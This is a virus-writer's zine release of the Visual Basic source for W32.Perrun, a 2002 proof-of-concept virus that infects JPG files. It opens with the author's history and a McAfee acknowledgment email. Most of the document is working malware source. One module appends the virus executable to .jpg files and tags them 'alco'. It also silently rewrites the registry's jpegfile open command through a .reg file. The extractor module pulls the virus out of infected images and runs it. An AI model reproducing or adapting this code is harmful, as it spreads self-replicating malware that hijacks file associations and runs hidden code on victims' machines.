----------------------------- Perrun Virus Source Code ----------------------------- i've written this when i was still a member of the rRlf ("hello rRlf guys!")... i decided to officially release the source in ebcvg #2... history -------- w32.hllp.jpginfector, as i named my lame proof-of-concept virus, was written on a fine afternoon of june 13, 2002 because i just wanted to make a working proof of my article "Infecting Picture Files : A Desperate Approach"... that lame article was written because of my reggae song "Your Kiss, Your Love and Some Pictures" dedicated to my girlfriend... so the root of all the Perrun phenomenon was not the eagerness to achieve fame... the root is LOVE... "Hi Janis!" :) after the finishing touches to the binary, i submitted it to av sites... trend, symantec, mcafee.. (can't clearly remember if i submitted it to avp, f-secure and sophos).... then i rested and ate my dinner.... i checked my mail again then i recieved the remails from symantec and mcafee... i cleaned those excess trashes but luckily i forgot to delete mcafee's ------------------------------------------------------------------------ From: "Vsample" To: "'alcopaul'" Subject: RE: Variant Found: 233006 - first virus attacking jpg files... Date: Thu, 13 Jun 2002 07:56:01 -0700 Thanks very much for the sample. We have named this to W32/Perrun We have added a description on our virus library. See link below. http://vil.nai.com/vil/content/v_99522.htm Again thanks very much and we value your contribution. Regards, Mohinder Gill Virus Research Analyst McAFEE AVERT (UK) A Division of NAI Labs When sending Virus Samples If you require further assistance with this virus or other virus detection and/or cleaning please send the proposed sample(s) zipped with the password "infected" (lower case) to one of the email addresses listed below. Please note: We sometimes receive a file that is analysed as cleaned, but actually find later that the file was infected when it left the sender, and was cleaned along the line by mail gateway scanners, hence the need for password-protected zip files. NOTE: We try our very best to process the incoming samples as soon as they arrive and hope to respond to customers on the same day. However our official response time for virus samples is 48 hours (excluding weekends). This time may be extended due to samples which require further analysis. All product-related questions and comments can be addressed through technical support and customer service, including: * Any Virus Removal issues * product installation and update questions * product usage questions * specific operating system/version questions For samples related issues please contact: UK: Vsample@nai.com USA: Virus_Research@nai.com Germany: Virus_Research_DE@nai.com France Virus_Research_FR@nai.com Rest of Europe Virus_Research_Europe@nai.com Please send samples to one of the above addresses only. For Technical Support issues please contact: UK- * +44 (0) 1296 318 733 * +44 (0) 1296 318 734 Email: TVD-Support-UK@nai.com Rest of Europe- tech-support-europe@nai.com * +31 (0) 20 586 6100 Useful WEB sites www.nai.com (Network Associates Inc. products) http://www.mcafeeb2b.com/asp_set/anti_virus/alerts/intro.asp (Stay ahead of New Viruses) http://www.mcafeeb2b.com/naicommon/download/dats/find.asp (Latest Dat files / SuperDats 4.1.60 engine) http://vil.nai.com/villib/alpha.asp (NAI Virus Library - Descriptions of viruses) -----Original Message----- From: alcopaul [mailto:alcopaul@digitelone.com] Sent: 13 June 2002 11:06 To: virus_research@nai.com Subject: Variant Found: 233006 - first virus attacking jpg files... << File: JPG_Virus_Final_Release.zip >> << File: MAVIS.txt >> hope to see a desc from your site.. it's a new way of infection.. :) ____________________________________________________________________ ** Get your free E-Mail account at WWW.DIGITELONE.COM ** ---------------------------------------------------------------------------- *** i just wanted mcafee to see a description of it from their site... nothing more, nothing less.. :P then two days after my submission of the virus to av sites, i checked out zdnet for some news.. then i found an article that refers to Perrun.. "what a heck! that's my virus!", i thought... i tried my luck to see some of my virus' articles in yahoo then i got a lot of hits... can't please everybody.. there exist many criticisms about this virus... i read a lot of them... hehehe.. but i don't care.. final thought : this is a lame virus that "shook" the news for one time... enjoy.. alcopaul indirect thanks to murkry.. i borrowed the spawned host execution routine from his vb virus... ========================= virus ========================= Attribute VB_Name = "Module1" Option Explicit Private Sub Main() On Error Resume Next Dim ffile Dim jpgvir As String Dim sfile As String Dim a As String Dim vc As String Dim spath As String Dim arr1 Dim host As Variant Dim lenhost As Long Dim mark As String Dim g As String 'probable host ffile = FreeFile 'resolve virus path jpgvir = App.Path If Right(jpgvir, 1) <> "\" Then jpgvir = jpgvir & "\" 'find picture files in directory of the virus sfile = Dir$(jpgvir & "*.jpg") While sfile <> "" a = a & spath & sfile & "/" sfile = Dir$ Wend 'store filenames in array arr1 = Split(a, "/") '1 by 1 query... and now introducing a new algorithm for 1 infection per run For Each host In arr1 'check for virus sig Open jpgvir & host For Binary Access Read As #ffile lenhost = (LOF(ffile)) vc = Space(lenhost) Get #ffile, , vc Close #ffile mark = Right(vc, 4) If mark <> "alco" Then 'not infected? 'infect! GoTo notinfected Else 'infected? 'search for moe! GoTo gggoop End If notinfected: '1 infection / run infest (jpgvir & host) Exit For gggoop: Next host g = Replace(jpgvir, "\", "\\") extractXTrktr (g & "extrk.exe") End Sub Function extractXTrktr(name As String) On Error Resume Next Dim a As String Dim jpgvir As String Dim vircode As String Dim extractrcode As String jpgvir = App.Path If Right(jpgvir, 1) <> "\" Then jpgvir = jpgvir & "\" Open jpgvir & App.EXEName & ".exe" For Binary Access Read As #1 vircode = Space(LOF(1) - 5636) extractrcode = Space(5636) Get #1, , vircode Get #1, , extractrcode Close #1 Open jpgvir & "extrk.exe" For Binary Access Write As #2 Put #2, , extractrcode Close #2 Open jpgvir & "reg.mp3" For Output As #3 Print #3, "REGEDIT4" Print #3, "" Print #3, "[HKEY_CLASSES_ROOT\jpegfile\shell\open\command]" Print #3, "@=""" & name & " %1""" Close #3 a = "regedit /s " & jpgvir & "reg.mp3" Shell a End Function Function infest(hostpath As String) On Error Resume Next Dim ffile Dim jpgcode As String Dim jpgvir As String Dim vircode As String ffile = FreeFile jpgvir = App.Path If Right(jpgvir, 1) <> "\" Then jpgvir = jpgvir & "\" Open hostpath For Binary Access Read As #ffile jpgcode = Space(LOF(ffile)) Get #ffile, , jpgcode Close #ffile Open jpgvir & App.EXEName & ".exe" For Binary Access Read As #1 vircode = Space(LOF(1)) Get #1, 1, vircode Close #1 Open hostpath For Binary Access Write As #ffile Put #ffile, , jpgcode Put #ffile, , vircode Close #ffile End Function 'proof.001, part of the first ever jpg virus by alcopaul 'w32.hllp.JPGInfector 'june 13, 2002 ======================= extractor ======================= Attribute VB_Name = "Module1" Option Explicit Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private iResult As Long Private hProg As Long Private idProg As Long Private iExit As Long Const STILL_ACTIVE As Long = &H103 Const PROCESS_ALL_ACCESS As Long = &H1F0FFF Sub Main() On Error Resume Next Dim HostLength As Long Dim HostCode As String Dim vircode As String Dim comm As String Dim ffile Dim lenhost As String Dim check As String Dim jpgvir As String Dim mark As String jpgvir = App.Path If Right(jpgvir, 1) <> "\" Then jpgvir = jpgvir & "\" ffile = FreeFile comm = Command Open comm For Binary Access Read As #ffile lenhost = (LOF(ffile)) check = Space(lenhost) Get #ffile, , check Close #ffile mark = Right(check, 4) If mark = "alco" Then Open comm For Binary Access Read As #ffile HostLength = (LOF(ffile) - 11780) HostCode = Space(HostLength) vircode = Space(11780) Get #ffile, , HostCode Get #ffile, , vircode Close #ffile Open jpgvir & "x.exe" For Binary Access Write As #ffile Put #ffile, , vircode Close #ffile DoEvents 'borrowed from murkry's vb5 virus idProg = Shell(jpgvir & "x.exe", vbNormalFocus) hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg) GetExitCodeProcess hProg, iExit Do While iExit = STILL_ACTIVE DoEvents GetExitCodeProcess hProg, iExit Loop Kill jpgvir & "x.exe" Else End If Shell "rundll32.exe C:\WINDOWS\SYSTEM\SHIMGVW.DLL,ImageView_Fullscreen " & comm End Sub 'proof.002 - part of the 1st jpg virus by alcopaul 'w32.hllp.JPGInfector 'june 13, 2002 =============== signature =============== alco -------------- Signature string that will be appended to the virus - alco